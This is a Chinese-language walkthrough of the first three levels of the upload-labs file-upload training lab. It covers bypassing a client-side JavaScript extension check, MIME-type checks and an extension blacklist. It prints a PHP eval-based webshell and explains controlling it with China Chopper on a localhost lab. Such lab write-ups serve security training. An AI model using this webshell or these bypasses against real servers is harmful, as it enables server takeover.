專案地址:https://github.com/c0ny1/upload-labs
Pass-01:客戶端使用JavaScript對檔案型別做了驗證
js代碼:
<script>
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;//
if (file == null || file == "") {
alert("請選擇要上傳的檔案!");
return false;
}
//定義允許上傳的檔案型別
var allow_ext = ".jpg|.png|.gif";
//提取上傳檔案的型別
var ext_name = file.substring(file.lastIndexOf("."));
//判斷上傳檔案型別是否允許上傳
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "該檔案不允許上傳,請上傳" + allow_ext + "型別的檔案,當前檔案型別為:" + ext_name;
alert(errMsg);
return false;
}
}
</script>
繞過方法:
方法1:使用瀏覽器的插件(如:火狐瀏覽器的FireBug)洗掉檢測檔案后綴的JS代碼
把form表單中的onsubmit="return checkFile()"洗掉

方法2:先把需要上傳的檔案的后綴改成允許上傳的型別,繞過JS檢測,再抓包,把后綴名改成可執行檔案的后綴
用記事本撰寫一句話木馬,另存為.jpg檔案,上傳后抓包修改檔案后綴為.php
上傳WebShell(x.php)
<?php @eval($_POST['apple']); ?>
成功后打開中國菜刀添加http://127.0.0.1/upload-labs/upload/x.php 口令為apple,打開http://127.0.0.1/upload-labs/upload/x.php 可得到服務器的權限,

pass-02:MIME-Type驗證
上傳php檔案后抓包修改Content-Type: application/octet-stream為Content-Type: image/jpeg即可繞過
pass-03:黑名單驗證后綴名
(黑名單中沒有的后綴名,檔案才能上傳成功)
服務端代碼禁止上傳.asp,.aspx,.php,.jsp后綴檔案,但可以上傳其他后綴 的檔案,如phtml,php1,php2,若服務端沒有把后綴名變為小寫,可以用檔案后綴名大小寫繞過
注:上傳的檔案被重命名了,要使用菜刀需要先直到上傳檔案后的新名稱
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/177303.html
標籤:其他
